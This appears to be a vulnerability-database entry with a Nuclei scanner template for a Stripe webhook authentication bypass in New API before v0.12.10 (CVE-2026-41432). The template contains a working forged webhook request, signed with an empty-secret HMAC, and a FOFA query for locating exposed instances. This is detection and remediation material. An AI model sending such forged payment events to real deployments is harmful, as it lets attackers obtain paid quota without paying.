New API < v0.12.10 - Stripe Webhook Bypass
CVE-2026-41432
Verified
Description
New API < v0.12.10 contains a broken authentication caused by unauthenticated attacker forging Stripe webhook events, letting attackers credit arbitrary quota without payment, exploit requires no authentication.
Severity
High
CVSS Score
7.1
Exploit Probability
1%
Published Date
August 6, 2026
Template Author
str4k3r
CVE-2026-41432.yaml
id: CVE-2026-41432
info:
name: New API < v0.12.10 - Stripe Webhook Bypass
author: str4k3r
severity: high
description: |
New API < v0.12.10 contains a broken authentication caused by unauthenticated attacker forging Stripe webhook events, letting attackers credit arbitrary quota without payment, exploit requires no authentication.
impact: |
Unauthenticated attackers can credit arbitrary quota to their account without payment, causing financial and resource abuse.
remediation: |
Update to version 0.12.10 or later.
reference:
- https://github.com/advisories/GHSA-xff3-5c9p-2mr4
- https://nvd.nist.gov/vuln/detail/CVE-2026-41432
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
cvss-score: 7.1
cve-id: CVE-2026-41432
epss-score: 0.0085
epss-percentile: 0.55399
cwe-id: CWE-345
metadata:
max-request: 1
verified: true
fofa-query: 'icon_hash=="-1398762159"'
tags: cve,cve2026,new-api,stripe,webhook,auth-bypass
variables:
timestamp: "{{unix_time()}}"
event_body: '{"type":"checkout.session.completed","data":{"object":{"client_reference_id":"nuclei-probe","status":"complete","payment_status":"paid","customer":"cus_probe","amount_total":0,"currency":"usd"}}}'
signature: '{{hmac("sha256", concat(timestamp, ".", event_body), "")}}'
http:
- raw:
- |-
POST /api/stripe/webhook HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Stripe-Signature: t={{timestamp}},v1={{signature}}
{{event_body}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "webhook handled", "\"success\"", "\"status\":\"success\"")'
- '!contains_any(tolower(body), "<html", "not found", "error", "forbidden", "unauthorized", "invalid signature")'
condition: and
# digest: 490a0046304402204a7601c2162f4927f9f9d84210d6c8fb076576e333e0bc9106ed9198a8fe394b022066df9347ca2fdd3443ec1fd047baf4079a0c694d3ff66acce559a8ee5780cfd0:922c64590222798bb761d5b6d8e729507.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
CVE ID:
cve-2026-41432
CWE ID:
cwe-345
Remediation Steps
Update to version 0.12.10 or later.